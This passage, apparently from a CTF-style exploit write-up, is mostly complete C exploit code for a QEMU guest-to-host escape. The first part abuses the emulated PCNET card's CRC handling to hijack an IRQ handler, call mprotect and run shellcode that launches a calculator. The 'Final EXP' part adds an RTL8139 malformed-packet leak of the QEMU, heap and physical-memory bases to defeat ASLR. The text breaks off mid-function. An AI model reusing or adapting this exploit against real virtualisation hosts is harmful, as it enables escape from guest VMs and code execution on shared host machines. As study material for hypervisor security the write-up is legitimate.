0x9c0906a9, 0xeb0e363f, 0x72076785, 0x05005713,
0x95bf4a82, 0xe2b87a14, 0x7bb12bae, 0x0cb61b38,
0x92d28e9b, 0xe5d5be0d, 0x7cdcefb7, 0x0bdbdf21,
0x86d3d2d4, 0xf1d4e242, 0x68ddb3f8, 0x1fda836e,
0x81be16cd, 0xf6b9265b, 0x6fb077e1, 0x18b74777,
0x88085ae6, 0xff0f6a70, 0x66063bca, 0x11010b5c,
0x8f659eff, 0xf862ae69, 0x616bffd3, 0x166ccf45,
0xa00ae278, 0xd70dd2ee, 0x4e048354, 0x3903b3c2,
0xa7672661, 0xd06016f7, 0x4969474d, 0x3e6e77db,
0xaed16a4a, 0xd9d65adc, 0x40df0b66, 0x37d83bf0,
0xa9bcae53, 0xdebb9ec5, 0x47b2cf7f, 0x30b5ffe9,
0xbdbdf21c, 0xcabac28a, 0x53b39330, 0x24b4a3a6,
0xbad03605, 0xcdd70693, 0x54de5729, 0x23d967bf,
0xb3667a2e, 0xc4614ab8, 0x5d681b02, 0x2a6f2b94,
0xb40bbe37, 0xc30c8ea1, 0x5a05df1b, 0x2d02ef8d,
};
/*mov rax,mprotect_GOT
mov rcx,qword ptr [rax]
sub rcx,0xcc6a0
push 1
dec byte ptr [rsp]
mov rax, 0x726f74616c75636c
push rax
mov rax, 0x61632d656d6f6e67
push rax
mov rdi,rsp
call rcx*/
uint8_t shellcode[0x100]={
0x48, 0xb8, 0x20, 0xb9, 0x7b, 0x3a, 0xa1, 0x55,
0x00, 0x00, 0x48, 0x8b, 0x08, 0x48, 0x81, 0xe9,
0xa0, 0xc6, 0x0c, 0x00, 0x6a, 0x01, 0xfe, 0x0c,
0x24, 0x48, 0xb8, 0x6c, 0x63, 0x75, 0x6c, 0x61,
0x74, 0x6f, 0x72, 0x50, 0x48, 0xb8, 0x67, 0x6e,
0x6f, 0x6d, 0x65, 0x2d, 0x63, 0x61, 0x50, 0x48,
0x89, 0xe7, 0xff, 0xd1
};
struct pcnet_config {
uint16_t mode;
uint8_t rlen;
uint8_t tlen;
uint8_t mac[6];
uint16_t _reserved;
uint8_t ladr[8];
uint32_t rx_desc;
uint32_t tx_desc;
};

struct pcnet_desc {
uint32_t addr;
int16_t length;
int8_t status_1;
int8_t status_2;
uint32_t misc;
uint32_t _reserved;
};

uint8_t pcnet_packet[PCNET_BUFFER_SIZE] = {
0x52, 0x54, 0x00, 0x12, 0x34, 0x56, 0x52,
0x54, 0x00, 0x12, 0x34, 0x56, 0x08, 0x00,
0x00, 0x00,
};

static int fd = -1;

/*
* taken from virtunoid.c
* adress translation utilities
*/
uint32_t page_offset(uint32_t addr)
{
return addr & ((1 << PAGE_SHIFT) - 1);
}

uint64_t gva_to_gfn(void *addr)
{
uint64_t pme, gfn;
size_t offset;
offset = ((uintptr_t)addr >> 9) & ~7;
lseek(fd, offset, SEEK_SET);
read(fd, &pme, 8);
if (!(pme & PFN_PRESENT))
return -1;
gfn = pme & PFN_PFN;
return gfn;
}

uint64_t gva_to_gpa(void *addr)
{
uint64_t gfn = gva_to_gfn(addr);
assert(gfn != -1);
return (gfn << PAGE_SHIFT) | page_offset((uint64_t)addr);
}

/* PCNET primitives */
void pcnet_packet_patch_crc(uint8_t *packet, uint32_t current,
uint32_t target)
{
size_t i = 0, j;
uint8_t *ptr;
uint32_t workspace[2] = { current, target };
for (i = 0; i < 2; i++)
workspace[i] &= (uint32_t)~0;
ptr = (uint8_t *)(workspace + 1);
for (i = 0; i < 4; i++) {
j = 0;
while(crctab[j] >> 24 != *(ptr + 3 - i)) j++;
*((uint32_t *)(ptr - i)) ^= crctab[j];
*(ptr - i - 1) ^= j;
}
strncpy(packet, ptr - 4, 4);
}

uint64_t pcnet_card_config(struct pcnet_config *config,
struct pcnet_desc *rx_desc,
struct pcnet_desc *tx_desc)
{
memset(config, 0, sizeof(struct pcnet_config));

config->mode = LOOP | PROM;
strcpy(config->mac, "\xaa\xbb\xcc\xdd\xee\xff");
config->rlen = 0x0;
config->tlen = 0x0;
config->rx_desc = (uint32_t)gva_to_gpa(rx_desc);
config->tx_desc = (uint32_t)gva_to_gpa(tx_desc);
return gva_to_gpa(config);
}

void pcnet_desc_config(struct pcnet_desc *desc, void *buffer, int is_rx)
{
uint16_t bcnt = -PCNET_BUFFER_SIZE;
bcnt &= 0xfff;
bcnt |= 0xf000;

memset(desc, 0, sizeof(struct pcnet_desc));
memset(buffer, 0, PCNET_BUFFER_SIZE);
desc->addr = (uint32_t)gva_to_gpa(buffer);
desc->length = bcnt;
if (is_rx) {
/* receive buffers owned by the card */
desc->status_2 = 0x80;
}
}

void pcnet_packet_send(struct pcnet_desc *desc, void *buffer,
void *packet, size_t len)
{
if (len <= PCNET_BUFFER_SIZE) {
memcpy(buffer, packet, len);

/* set STP ENP ADDFCS bits */
desc->status_2 |= 0x23;

len = (-len);
len &= 0xfff;
len |= 0xf000;
desc->length = len;

/* flip ownership to card */
desc->status_2 |= 0x80;

/* signal packet */
outw(0, PCNET_PORT + RAP);
outw(0x8, PCNET_PORT + RDP);
}
}

int main()
{
struct pcnet_config pcnet_config;
uint32_t pcnet_config_mem;
struct pcnet_desc pcnet_tx_desc page_aligned;
struct pcnet_desc pcnet_rx_desc page_aligned;
void *pcnet_rx_buffer, *pcnet_tx_buffer;
size_t phy_addr=0x7fff60000000;
void *addr;

uint32_t fcs = ~0;
uint8_t *ptr;

uint16_t lo, hi;

fd = open("/proc/self/pagemap", O_RDONLY);
if (fd < 0) {
perror("open");
exit(1);
}

iopl(3);

addr = aligned_alloc(PAGE_SIZE, PCNET_BUFFER_SIZE);
pcnet_rx_buffer = (uint64_t *)addr;

addr = aligned_alloc(PAGE_SIZE, PCNET_BUFFER_SIZE);
pcnet_tx_buffer = (uint64_t *)addr;

pcnet_desc_config(&pcnet_rx_desc, pcnet_rx_buffer, 1);
pcnet_desc_config(&pcnet_tx_desc, pcnet_tx_buffer, 0);

pcnet_config_mem = (uint32_t)pcnet_card_config(&pcnet_config, &pcnet_rx_desc,&pcnet_tx_desc);
lo = (uint16_t)pcnet_config_mem;
hi = pcnet_config_mem >> 16;
size_t qemu_base=0x555555554000;
size_t heap_base=0x555555e50000;
uint8_t *shellcode_addr;
shellcode_addr=aligned_alloc(PAGE_SIZE,0x100);
/* size_t add=phy_addr+(size_t)gva_to_gpa(shellcode_addr);
printf("%llx\n",add);*/
memcpy(shellcode_addr,shellcode,sizeof(shellcode));
*(size_t *)(shellcode_addr+2)=qemu_base+0x87DC08;//GOT table
*(size_t *)(pcnet_packet+0x38)=qemu_base+0x262AC5;//qemu_set_irq
*(size_t *)(pcnet_packet+0x40)=heap_base+0x1673810+0x20;//irq2
*(size_t *)(pcnet_packet+0x48)=PROT_READ | PROT_WRITE | PROT_EXEC;//PROT_READ | PROT_WRITE | PROT_EXEC
*(size_t *)(pcnet_packet+0x50)=qemu_base+0xA1410;//mprotect
*(size_t *)(pcnet_packet+0x58)=phy_addr;
*(size_t *)(pcnet_packet+0x60)=0x80000000;//mprotect(&shellcode,0x1000,PROT_READ | PROT_WRITE | PROT_EXEC)
/* compute required crc */
/* char *shell=aligned_alloc(PAGE_SIZE,0x100);
memcpy(shell,"./flag.txt\x00",0x100);
*(size_t *)(pcnet_packet+0x38)=qemu_base+0x0A1620;//system
*(size_t *)(pcnet_packet+0x40)=phy_addr+(size_t)gva_to_gpa(shell);//shell*/
ptr = pcnet_packet;
while (ptr != &pcnet_packet[PCNET_BUFFER_SIZE - 4])
CRC(fcs, *ptr++);
pcnet_packet_patch_crc(ptr, fcs, htonl((heap_base+0x1673810+0x8)&0xffffffff));

/* soft reset */
inl(PCNET_PORT + 0x18);
inw(PCNET_PORT + RST);

/* set swstyle */
outw(58, PCNET_PORT + RAP);
outw(0x0102, PCNET_PORT + RDP);

/* card config */
outw(1, PCNET_PORT + RAP);
outw(lo, PCNET_PORT + RDP);
outw(2, PCNET_PORT + RAP);
outw(hi, PCNET_PORT + RDP);

/* init and start */
outw(0, PCNET_PORT + RAP);
outw(0x3, PCNET_PORT + RDP);

sleep(2);

pcnet_packet_send(&pcnet_tx_desc, pcnet_tx_buffer, pcnet_packet,
PCNET_BUFFER_SIZE);
sleep(2);
*(size_t *)(pcnet_packet+0x38)=phy_addr+(size_t)gva_to_gpa(shellcode_addr);
ptr = pcnet_packet;
while (ptr != &pcnet_packet[PCNET_BUFFER_SIZE - 4])
CRC(fcs, *ptr++);
pcnet_packet_patch_crc(ptr, fcs, htonl((heap_base+0x1673810+0x8)&0xffffffff));
pcnet_packet_send(&pcnet_tx_desc, pcnet_tx_buffer, pcnet_packet,
PCNET_BUFFER_SIZE);
/* stop*/
outw(0, PCNET_PORT + RAP);
outw(0x4, PCNET_PORT + RDP);
sleep(2);
return 0;
}

0x05 Final EXP

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
292
293
294
295
296
297
298
299
300
301
302
303
304
305
306
307
308
309
310
311
312
313
314
315
316
317
318
319
320
321
322
323
324
325
326
327
328
329
330
331
332
333
334
335
336
337
338
339
340
341
342
343
344
345
346
347
348
349
350
351
352
353
354
355
356
357
358
359
360
361
362
363
364
365
366
367
368
369
370
371
372
373
374
375
376
377
378
379
380
381
382
383
384
385
386
387
388
389
390
391
392
393
394
395
396
397
398
399
400
401
402
403
404
405
406
407
408
409
410
411
412
413
414
415
416
417
418
419
420
421
422
423
424
425
426
427
428
429
430
431
432
433
434
435
436
437
438
439
440
441
442
443
444
445
446
447
448
449
450
451
452
453
454
455
456
457
458
459
460
461
462
463
464
465
466
467
468
469
470
471
472
473
474
475
476
477
478
479
480
481
482
483
484
485
486
487
488
489
490
491
492
493
494
495
496
497
498
499
500
501
502
503
504
505
506
507
508
509
510
511
512
513
514
515
516
517
518
519
520
521
522
523
524
525
526
527
528
529
530
531
532
533
534
535
536
537
538
539
540
541
542
543
544
545
546
547
548
549
550
551
552
553
554
555
556
557
558
559
560
561
562
563
564
565
566
567
568
569
570
571
572
573
574
575
576
577
578
579
580
581
582
583
584
585
586
587
588
589
590
591
592
593
594
595
596
597
598
599
600
601
602
603
604
//With ALSR
#include <sys/io.h>
#include <sys/mman.h>
#include <arpa/inet.h>
#include <assert.h>
#include <err.h>
#include <fcntl.h>
#include <inttypes.h>
#include <limits.h>
#include <pthread.h>
#include <stdbool.h>
#include <stdint.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>

#define PAGE_SHIFT 12
#define PAGE_SIZE (1 << PAGE_SHIFT)
#define PFN_PRESENT (1ull << 63)
#define PFN_PFN ((1ull << 55) - 1)
#define PHY_RAM 0x80000000

#define page_aligned __attribute__((aligned(PAGE_SIZE)))
#define offsetof(st, m) __builtin_offsetof(st, m)

#define CHUNK_SIZE_MASK ~7ull

#define NMEMB(a) sizeof(a)/sizeof(a[0])

typedef uint64_t hptr_t;
#define HNULL ((hptr_t)0x0)
#define PRIxHPTR PRIx64
typedef uint64_t hsize_t;

#define RTL8139_BUFFER_SIZE 1514

#define PCNET_PORT 0xc100
#define RTL8139_PORT 0xc000

#define CP_RX_OWN (1<<31)
#define CP_RX_EOR (1<<30)
#define CP_RX_BUFFER_SIZE_MASK ((1<<13) - 1)

#define CP_TX_OWN (1<<31)
#define CP_TX_EOR (1<<30)
#define CP_TX_FS (1<<29)
#define CP_TX_LS (1<<28)
#define CP_TX_LGSEN (1<<27)
#define CP_TX_IPCS (1<<18)
#define CP_TX_UDPCS (1<<17)
#define CP_TX_TCPCS (1<<16)
#define CP_TX_BUFFER_SIZE (1<<16)
#define CP_TX_BUFFER_SIZE_MASK (CP_TX_BUFFER_SIZE - 1)

#define PCNET_BUFFER_SIZE 4096
#define PCNET_PORT 0xc100

#define DRX 0x0001
#define DTX 0x0002
#define LOOP 0x0004
#define DXMTFCS 0x0008
#define INTL 0x0040
#define DRCVPA 0x2000
#define DRCVBC 0x4000
#define PROM 0x8000

enum PCNET_registers {
RDP = 0x10,
RAP = 0x12,
RST = 0x14,
};

#define CRC(crc, ch) (crc = (crc >> 8) ^ crctab[(crc ^ (ch)) & 0xff])

/* generated using the AUTODIN II polynomial
* x^32 + x^26 + x^23 + x^22 + x^16 +
* x^12 + x^11 + x^10 + x^8 + x^7 + x^5 + x^4 + x^2 + x^1 + 1
*/
static const uint32_t crctab[256] = {
0x00000000, 0x77073096, 0xee0e612c, 0x990951ba,
0x076dc419, 0x706af48f, 0xe963a535, 0x9e6495a3,
0x0edb8832, 0x79dcb8a4, 0xe0d5e91e, 0x97d2d988,
0x09b64c2b, 0x7eb17cbd, 0xe7b82d07, 0x90bf1d91,
0x1db71064, 0x6ab020f2, 0xf3b97148, 0x84be41de,
0x1adad47d, 0x6ddde4eb, 0xf4d4b551, 0x83d385c7,
0x136c9856, 0x646ba8c0, 0xfd62f97a, 0x8a65c9ec,
0x14015c4f, 0x63066cd9, 0xfa0f3d63, 0x8d080df5,
0x3b6e20c8, 0x4c69105e, 0xd56041e4, 0xa2677172,
0x3c03e4d1, 0x4b04d447, 0xd20d85fd, 0xa50ab56b,
0x35b5a8fa, 0x42b2986c, 0xdbbbc9d6, 0xacbcf940,
0x32d86ce3, 0x45df5c75, 0xdcd60dcf, 0xabd13d59,
0x26d930ac, 0x51de003a, 0xc8d75180, 0xbfd06116,
0x21b4f4b5, 0x56b3c423, 0xcfba9599, 0xb8bda50f,
0x2802b89e, 0x5f058808, 0xc60cd9b2, 0xb10be924,
0x2f6f7c87, 0x58684c11, 0xc1611dab, 0xb6662d3d,
0x76dc4190, 0x01db7106, 0x98d220bc, 0xefd5102a,
0x71b18589, 0x06b6b51f, 0x9fbfe4a5, 0xe8b8d433,
0x7807c9a2, 0x0f00f934, 0x9609a88e, 0xe10e9818,
0x7f6a0dbb, 0x086d3d2d, 0x91646c97, 0xe6635c01,
0x6b6b51f4, 0x1c6c6162, 0x856530d8, 0xf262004e,
0x6c0695ed, 0x1b01a57b, 0x8208f4c1, 0xf50fc457,
0x65b0d9c6, 0x12b7e950, 0x8bbeb8ea, 0xfcb9887c,
0x62dd1ddf, 0x15da2d49, 0x8cd37cf3, 0xfbd44c65,
0x4db26158, 0x3ab551ce, 0xa3bc0074, 0xd4bb30e2,
0x4adfa541, 0x3dd895d7, 0xa4d1c46d, 0xd3d6f4fb,
0x4369e96a, 0x346ed9fc, 0xad678846, 0xda60b8d0,
0x44042d73, 0x33031de5, 0xaa0a4c5f, 0xdd0d7cc9,
0x5005713c, 0x270241aa, 0xbe0b1010, 0xc90c2086,
0x5768b525, 0x206f85b3, 0xb966d409, 0xce61e49f,
0x5edef90e, 0x29d9c998, 0xb0d09822, 0xc7d7a8b4,
0x59b33d17, 0x2eb40d81, 0xb7bd5c3b, 0xc0ba6cad,
0xedb88320, 0x9abfb3b6, 0x03b6e20c, 0x74b1d29a,
0xead54739, 0x9dd277af, 0x04db2615, 0x73dc1683,
0xe3630b12, 0x94643b84, 0x0d6d6a3e, 0x7a6a5aa8,
0xe40ecf0b, 0x9309ff9d, 0x0a00ae27, 0x7d079eb1,
0xf00f9344, 0x8708a3d2, 0x1e01f268, 0x6906c2fe,
0xf762575d, 0x806567cb, 0x196c3671, 0x6e6b06e7,
0xfed41b76, 0x89d32be0, 0x10da7a5a, 0x67dd4acc,
0xf9b9df6f, 0x8ebeeff9, 0x17b7be43, 0x60b08ed5,
0xd6d6a3e8, 0xa1d1937e, 0x38d8c2c4, 0x4fdff252,
0xd1bb67f1, 0xa6bc5767, 0x3fb506dd, 0x48b2364b,
0xd80d2bda, 0xaf0a1b4c, 0x36034af6, 0x41047a60,
0xdf60efc3, 0xa867df55, 0x316e8eef, 0x4669be79,
0xcb61b38c, 0xbc66831a, 0x256fd2a0, 0x5268e236,
0xcc0c7795, 0xbb0b4703, 0x220216b9, 0x5505262f,
0xc5ba3bbe, 0xb2bd0b28, 0x2bb45a92, 0x5cb36a04,
0xc2d7ffa7, 0xb5d0cf31, 0x2cd99e8b, 0x5bdeae1d,
0x9b64c2b0, 0xec63f226, 0x756aa39c, 0x026d930a,
0x9c0906a9, 0xeb0e363f, 0x72076785, 0x05005713,
0x95bf4a82, 0xe2b87a14, 0x7bb12bae, 0x0cb61b38,
0x92d28e9b, 0xe5d5be0d, 0x7cdcefb7, 0x0bdbdf21,
0x86d3d2d4, 0xf1d4e242, 0x68ddb3f8, 0x1fda836e,
0x81be16cd, 0xf6b9265b, 0x6fb077e1, 0x18b74777,
0x88085ae6, 0xff0f6a70, 0x66063bca, 0x11010b5c,
0x8f659eff, 0xf862ae69, 0x616bffd3, 0x166ccf45,
0xa00ae278, 0xd70dd2ee, 0x4e048354, 0x3903b3c2,
0xa7672661, 0xd06016f7, 0x4969474d, 0x3e6e77db,
0xaed16a4a, 0xd9d65adc, 0x40df0b66, 0x37d83bf0,
0xa9bcae53, 0xdebb9ec5, 0x47b2cf7f, 0x30b5ffe9,
0xbdbdf21c, 0xcabac28a, 0x53b39330, 0x24b4a3a6,
0xbad03605, 0xcdd70693, 0x54de5729, 0x23d967bf,
0xb3667a2e, 0xc4614ab8, 0x5d681b02, 0x2a6f2b94,
0xb40bbe37, 0xc30c8ea1, 0x5a05df1b, 0x2d02ef8d,
};
/*mov rax,mprotect_GOT
mov rcx,qword ptr [rax]
sub rcx,0xcc6a0
push 1
dec byte ptr [rsp]
mov rax, 0x726f74616c75636c
push rax
mov rax, 0x61632d656d6f6e67
push rax
mov rdi,rsp
call rcx*/
uint8_t shellcode[0x100]={
0x48, 0xb8, 0x20, 0xb9, 0x7b, 0x3a, 0xa1, 0x55,
0x00, 0x00, 0x48, 0x8b, 0x08, 0x48, 0x81, 0xe9,
0xa0, 0xc6, 0x0c, 0x00, 0x6a, 0x01, 0xfe, 0x0c,
0x24, 0x48, 0xb8, 0x6c, 0x63, 0x75, 0x6c, 0x61,
0x74, 0x6f, 0x72, 0x50, 0x48, 0xb8, 0x67, 0x6e,
0x6f, 0x6d, 0x65, 0x2d, 0x63, 0x61, 0x50, 0x48,
0x89, 0xe7, 0xff, 0xd1
};
struct pcnet_config {
uint16_t mode;
uint8_t rlen;
uint8_t tlen;
uint8_t mac[6];
uint16_t _reserved;
uint8_t ladr[8];
uint32_t rx_desc;
uint32_t tx_desc;
};

struct pcnet_desc {
uint32_t addr;
int16_t length;
int8_t status_1;
int8_t status_2;
uint32_t misc;
uint32_t _reserved;
};

uint8_t pcnet_packet[PCNET_BUFFER_SIZE] = {
0x52, 0x54, 0x00, 0x12, 0x34, 0x56, 0x52,
0x54, 0x00, 0x12, 0x34, 0x56, 0x08, 0x00,
0x00, 0x00,
};

enum RTL8139_registers {
TxAddr0 = 0x20, /* Tx descriptors (also four 32bit). */
ChipCmd = 0x37,
TxConfig = 0x40,
RxConfig = 0x44,
TxPoll = 0xD9, /* tell chip to check Tx descriptors for work */
CpCmd = 0xE0, /* C+ Command register (C+ mode only) */
RxRingAddrLO = 0xE4, /* 64-bit start addr of Rx ring */
RxRingAddrHI = 0xE8, /* 64-bit start addr of Rx ring */
};

enum RTL8139_TxPollBits {
CPlus = 0x40,
};

enum RT8139_ChipCmdBits {
CmdReset = 0x10,
CmdRxEnb = 0x08,
CmdTxEnb = 0x04,
RxBufEmpty = 0x01,
};

enum RTL_8139_CplusCmdBits {
CPlusRxVLAN = 0x0040, /* enable receive VLAN detagging */
CPlusRxChkSum = 0x0020, /* enable receive checksum offloading */
CPlusRxEnb = 0x0002,
CPlusTxEnb = 0x0001,
};

enum RTL_8139_tx_config_bits {
TxLoopBack = (1 << 18) | (1 << 17), /* enable loopback test mode */
/*...*/
};

enum RTL_8139_rx_mode_bits {
AcceptErr = 0x20,
AcceptRunt = 0x10,
AcceptBroadcast = 0x08,
AcceptMulticast = 0x04,
AcceptMyPhys = 0x02,
AcceptAllPhys = 0x01,
Wrap = 0x80,
MxDMA256 = 0x400,
RbLen64 = 0x1800,
RxFTh512 = 0xa000,
};

struct rtl8139_desc {
uint32_t dw0;
uint32_t dw1;
uint32_t buf_lo;
uint32_t buf_hi;
};

struct rtl8139_ring {
struct rtl8139_desc *desc;
void *buffer;
};

/* malformed ip packet with corrupted header size */
static uint8_t rtl8139_packet [] = {
0x52, 0x54, 0x00, 0x12, 0x34, 0x56, 0x52, 0x54, 0x00, 0x12, 0x34,
0x56, 0x08, 0x00, 0x45, 0x00, 0x00, 0x13, 0xde, 0xad, 0x40, 0x00,
0x40, 0x06, 0xde, 0xad, 0xc0, 0x08, 0x01, 0x01, 0xc0, 0xa8, 0x01,
0x02, 0xde, 0xad, 0xbe, 0xef, 0xca, 0xfe, 0xba, 0xbe, 0xca, 0xfe,
0xba, 0xbe, 0x50, 0x10, 0xde, 0xad, 0xde, 0xad, 0x00, 0x00
};

static int fd = -1;
hptr_t phy_mem = 0;

struct IRQState {
uint8_t _nothing[44];
hptr_t handler;
hptr_t arg_1;
int32_t arg_2;
};

struct qemu_object
{
hptr_t name;
hptr_t type;
hptr_t description;
hptr_t get;
hptr_t set;
hptr_t resolve;
hptr_t release;
};

/*virtual->physical*/
uint32_t page_offset(uint32_t addr)
{
return addr & ((1 << PAGE_SHIFT) - 1);
}

uint64_t gva_to_gfn(void *addr)
{
uint64_t pme, gfn;
size_t offset;
offset = ((uintptr_t)addr >> 9) & ~7;
lseek(fd, offset, SEEK_SET);
read(fd, &pme, 8);
if (!(pme & PFN_PRESENT))
return -1;
gfn = pme & PFN_PFN;
return gfn;
}

uint64_t gva_to_gpa(void *addr)
{
uint64_t gfn = gva_to_gfn(addr);
assert(gfn != -1);
return (gfn << PAGE_SHIFT) | page_offset((uint64_t)addr);
}

hptr_t gva_to_hva(void *addr)
{
return gva_to_gpa(addr) + phy_mem;
}

int cmp_page_offset(const void *a, const void *b)
{
return page_offset(*(hptr_t *)a) - page_offset(*(hptr_t *)b);
}

/* RTL8139 primitives */
void rtl8139_card_config()
{
outl(TxLoopBack, RTL8139_PORT + TxConfig);
outl(AcceptMyPhys, RTL8139_PORT + RxConfig);
outw(CPlusRxEnb|CPlusTxEnb, RTL8139_PORT + CpCmd);//enable tx && rx
outb(CmdRxEnb|CmdTxEnb, RTL8139_PORT + ChipCmd);
}

void rtl8139_desc_config_tx(struct rtl8139_desc *desc, void *buffer)
{
uint32_t addr;

memset(desc, 0, sizeof(struct rtl8139_desc));
desc->dw0 |= CP_TX_OWN | CP_TX_EOR | CP_TX_LS | CP_TX_LGSEN |
CP_TX_IPCS | CP_TX_TCPCS;
desc->dw0 += RTL8139_BUFFER_SIZE;

addr = (uint32_t)gva_to_gpa(buffer);
desc->buf_lo = addr;

addr = (uint32_t)gva_to_gpa(desc);
outl(addr, RTL8139_PORT + TxAddr0);
outl(0x0, RTL8139_PORT + TxAddr0 + 0x4);
}

void rtl8139_desc_config_rx(struct rtl8139_ring *ring, struct rtl8139_desc *desc, int nb)
{
uint32_t addr;
size_t i;
for (i = 0; i < nb; i++) {
ring[i].desc = &desc[i];
memset(ring[i].desc, 0, sizeof(struct rtl8139_desc));

ring[i].buffer = aligned_alloc(PAGE_SIZE, RTL8139_BUFFER_SIZE);
memset(ring[i].buffer, 0, RTL8139_BUFFER_SIZE);

addr = (uint32_t)gva_to_gpa(ring[i].buffer);

ring[i].desc->dw0 |= CP_RX_OWN;
if (i == nb - 1)
ring[i].desc->dw0 |= CP_RX_EOR;
ring[i].desc->dw0 &= ~CP_RX_BUFFER_SIZE_MASK;
ring[i].desc->dw0 |= USHRT_MAX;
ring[i].desc->buf_lo = addr;
}

addr = (uint32_t)gva_to_gpa(desc);
outl(addr, RTL8139_PORT + RxRingAddrLO);
outl(0x0, RTL8139_PORT + RxRingAddrHI);
}

void rtl8139_packet_send(void *buffer, void *packet, size_t len)
{
if (len <= RTL8139_BUFFER_SIZE) {
memcpy(buffer, packet, len);
outb(CPlus, RTL8139_PORT + TxPoll);
}
}
void kirin_leak(void *buffer,size_t num,size_t *tmp_qemu,size_t *tmp_phy,size_t *tmp_heap){
size_t property_get_bool=0x036EF30;
for(int i=0;i<num;i++){
size_t leak_num=*(size_t *)(buffer+i*4);
if(((leak_num&0xfffff00000000000)==0x500000000000) && ((leak_num&0xfff)==0xf30)){
*tmp_qemu=leak_num-property_get_bool;
break;
}
}
for(int i=0;i<num;i++){
size_t leak_num=*(size_t *)(buffer+i*4);
if(((leak_num&0xfffff00000000000)==0x500000000000) && ((leak_num&0xfff)==0xd87)){
*tmp_qemu=leak_num-0xf2d87;
break;
}
}
for(int i=0;i<num;i++){
size_t leak_num=*(size_t *)(buffer+i*4);
if(((leak_num&0xfffff00000000000)==0x700000000000) && ((leak_num&0xfff)==0x80)){
*tmp_phy=leak_num-0x80000080;
break;
}
}
for(int i=0;i<num;i++){
size_t leak_num=*(size_t *)(buffer+i*4);
if(((leak_num&0xfffff00000000000)==0x500000000000) && ((leak_num&0xfff)==0xc70)){
*tmp_heap=leak_num-0x6cc70;
break;
}
}
}

/* PCNET primitives */
void pcnet_packet_patch_crc(uint8_t *packet, uint32_t current,
uint32_t target)
{
size_t i = 0, j;
uint8_t *ptr;
uint32_t workspace[2] = { current, target };
for (i = 0; i < 2; i++)
workspace[i] &= (uint32_t)~0;
ptr = (uint8_t *)(workspace + 1);
for (i = 0; i < 4; i++) {
j = 0;
while(crctab[j] >> 24 != *(ptr + 3 - i)) j++;
*((uint32_t *)(ptr - i)) ^= crctab[j];
*(ptr - i - 1) ^= j;
}
strncpy(packet, ptr - 4, 4);
}

uint64_t pcnet_card_config(struct pcnet_config *config,
struct pcnet_desc *rx_desc,
struct pcnet_desc *tx_desc)
{
memset(config, 0, sizeof(struct pcnet_config));

config->mode = LOOP | PROM;
strcpy(config->mac, "\xaa\xbb\xcc\xdd\xee\xff");
config->rlen = 0x0;
config->tlen = 0x0;
config->rx_desc = (uint32_t)gva_to_gpa(rx_desc);
config->tx_desc = (uint32_t)gva_to_gpa(tx_desc);
return gva_to_gpa(config);
}

void pcnet_desc_config(struct pcnet_desc *desc, void *buffer, int is_rx)
{
uint16_t bcnt = -PCNET_BUFFER_SIZE;
bcnt &= 0xfff;
bcnt |= 0xf000;

memset(desc, 0, sizeof(struct pcnet_desc));
memset(buffer, 0, PCNET_BUFFER_SIZE);
desc->addr = (uint32_t)gva_to_gpa(buffer);
desc->length = bcnt;
if (is_rx) {
/* receive buffers owned by the card */
desc->status_2 = 0x80;
}
}

void pcnet_packet_send(struct pcnet_desc *desc, void *buffer,
void *packet, size_t len)
{
if (len <= PCNET_BUFFER_SIZE) {
memcpy(buffer, packet, len);

/* set STP ENP ADDFCS bits */
desc->status_2 |= 0x23;

len = (-len);
len &= 0xfff;
len |= 0xf000;
desc->length = len;

/* flip ownership to card */
desc->status_2 |= 0x80;

/* signal packet */
outw(0, PCNET_PORT + RAP);
outw(0x8, PCNET_PORT + RDP);
}
}
int main()
{
struct rtl8139_ring *rtl8139_rx_ring;
struct rtl8139_desc *rtl8139_rx_desc, rtl8139_tx_desc;
void *rtl8139_tx_buffer;
static const int rtl8139_rx_nb = 44;//->(65535/1514)+1

fd = open("/proc/self/pagemap", O_RDONLY);//to get physical
if (fd < 0) {
perror("open");
exit(1);
}
rtl8139_rx_ring = calloc(rtl8139_rx_nb, sizeof(struct rtl8139_ring));
rtl8139_rx_desc = aligned_alloc(PAGE_SIZE, sizeof(struct rtl8139_desc) * rtl8139_rx_nb);
rtl8139_tx_buffer = aligned_alloc(PAGE_SIZE, RTL8139_BUFFER_SIZE);
iopl(3);//修改当前进程的操作端口的权限->3->读写
rtl8139_desc_config_rx(rtl8139_rx_ring, rtl8139_rx_desc,rtl8139_rx_nb);//配置rx->receive
rtl8139_desc_config_tx(&rtl8139_tx_desc, rtl8139_tx_buffer);//配置tx->transmit
rtl8139_card_config();//配置其他寄存器
rtl8139_packet_send(rtl8139_tx_buffer, rtl8139_packet,sizeof(rtl8139_packet));
sleep(2);
size_t i;
size_t qemu_base,phy_base,heap_base,tmp_qemu,tmp_phy,tmp_heap;
qemu_base=0;
phy_base=0;
heap_base=0;
for (i = 0; i < rtl8139_rx_nb; i++){
tmp_qemu=0;
tmp_phy=0;
tmp_heap=0;
kirin_leak(rtl8139_rx_ring[i].buffer, RTL8139_BUFFER_SIZE/4,&tmp_qemu,&tmp_phy,&tmp_heap);
if(tmp_qemu)
qemu_base=tmp_qemu;
if(tmp_phy)
phy_base=tmp_phy;
if(tmp_heap)
heap_base=tmp_heap;
}
if(qemu_base)
printf("[+] qemu base:0x%016llx\n",qemu_base);
if(phy_base)
printf("[+] phy base:0x%016llx\n",phy_base);
if(heap_base)
printf("[+] heap base:0x%016llx\n",heap_base);
